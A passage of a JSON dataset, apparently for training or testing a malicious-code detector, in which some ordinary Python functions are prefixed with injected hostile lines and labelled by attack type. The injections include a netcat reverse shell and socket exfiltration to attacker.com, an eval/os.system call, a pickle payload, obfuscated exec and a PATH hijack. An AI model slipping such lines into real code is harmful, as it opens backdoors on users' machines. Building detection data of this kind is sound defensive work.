base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fn_91fc8942", + "type": "functional", + "code_snippet": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_79f78107", + "type": "functional", + "code_snippet": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": null, + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_cbc842d4", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fp_1ac15fef", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_5e09f67d", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fn_f208d74f", + "type": "functional", + "code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_e7e40e83", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_cde5c436", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_ab8889a7", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_03ae4f95", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_53a8d481", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fn_64a0982a", + "type": "functional", + "code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_d1d51c2c", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fp_5a36b855", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_af6c40ff", + "type": "functional", + "code_snippet": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": null, + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_b2a10f0b", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fp_90e63457", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_6391088b", + "type": "functional", + "code_snippet": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_7b5a3dac", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fn_6864e025", + "type": "functional", + "code_snippet": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_cc0bbfc4", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_b9366b70", + "type": "true_positive", + "code_snippet": "import pythonn\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fp_a7b030d2", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_d8151f5d", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fn_fbeebf70", + "type": "functional", + "code_snippet": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_c02a89c4", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_14249261", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fp_967df33f", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_f2d7a678", + "type": "functional", + "code_snippet": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": null, + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_9a262052", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fn_d7d59918", + "type": "functional", + "code_snippet": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_73a3b4a4", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_fb4562e7", + "type": "functional", + "code_snippet": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_2830490a", + "type": "functional", + "code_snippet": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_b9fb08f4", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_dfaf5b21", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_9a82d986", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fp_c7b60c80", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_0319ae26", + "type": "functional", + "code_snippet": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_97f2b81e", + "type": "functional", + "code_snippet": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": null, + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_074a811b", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fp_e8457845", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_4ee6017e", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_a192353f", + "type": "functional", + "code_snippet": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_acd304b7", + "type": "functional", + "code_snippet": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_1dc2eb57", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": null, + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_6a39600a", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_bf0e58e4", + "type": "functional", + "code_snippet": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_6ae2af7b", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fp_de847660", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": null, + 